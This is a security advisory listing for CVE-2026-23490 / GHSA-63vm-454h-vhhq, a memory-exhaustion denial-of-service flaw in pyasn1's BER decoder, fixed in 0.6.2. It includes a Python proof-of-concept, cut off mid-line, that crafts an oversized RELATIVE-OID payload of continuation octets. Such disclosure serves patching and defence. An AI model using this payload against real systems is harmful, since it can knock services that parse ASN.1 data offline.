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CVE-2026-23490 — pyasn1 has a DoS vulnerability in decoder

Affected: pyasn1, Red Hat Ansible Automation Platform 2.5 for RHEL 8, Red Hat Ansible Automation Platform 2.5 for RHEL 9, Red Hat Ansible Automation Platform 2.6 for RHEL 9, Red Hat Enterprise Linux 10, Red Hat Enterprise Linux 10.0 Extended Update Support, Red Hat Enterprise Linux 7 Extended Lifecycle Support, Red Hat Enterprise Linux 8, Red Hat Enterprise Linux 8.2 Advanced Update Support, Red Hat Enterprise Linux 8.4 Advanced Mission Critical Update Support and 40 more

pyasn1 is a generic ASN.1 library for Python. Prior to 0.6.2, a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets. This vulnerability is fixed in 0.6.2.

GHSA-63vm-454h-vhhq — pyasn1 has a DoS vulnerability in decoder

Affected: PyPI: pyasn1

### Summary

After reviewing pyasn1 v0.6.1 a Denial-of-Service issue has been found that leads to memory exhaustion from malformed RELATIVE-OID with excessive continuation octets.

### Details

The integer issue can be found in the decoder as `reloid += ((subId << 7) + nextSubId,)`: https://github.com/pyasn1/pyasn1/blob/main/pyasn1/codec/ber/decoder.py#L496

### PoC

For the DoS: ```py import pyasn1.codec.ber.decoder as decoder import pyasn1.type.univ as univ import sys import resource

# Deliberately set memory limit to display PoC try: resource.setrlimit(resource.RLIMIT_AS, (100*1024*1024, 100*1024*1024)) print("[*] Memory limit set to 100MB") except: print("[-] Could not set memory limit")

# Test with different payload sizes to find the DoS threshold payload_size_mb = int(sys.argv[1])

print(f"[*] Testing with {payload_size_mb}MB payload...")

payload_size = payload_size_mb * 1024 * 1024 # Create payload with continuation octets # Each 0x81 byte indicates continuation, causing bit shifting in decoder payload = b'\x81' * payload_size + b'\x00' length = len(payload)

# DER length encoding (supports up to 4GB) if length < 128: length_bytes = bytes([length]) elif length < 256: length_bytes = b'\x81' + length.to_bytes(1, 'big') elif length < 256**2: length_bytes = b'\x82' + length.to_bytes(2, 'big') elif length < 256**3: length_bytes = b'\x83' + length.to_bytes(3, 'big') else: # 4 bytes can handle up to 4GB length_bytes = b'\x84' + length.t…

PYSEC-2026-1810 — pyasn1 has a DoS vulnerability in decoder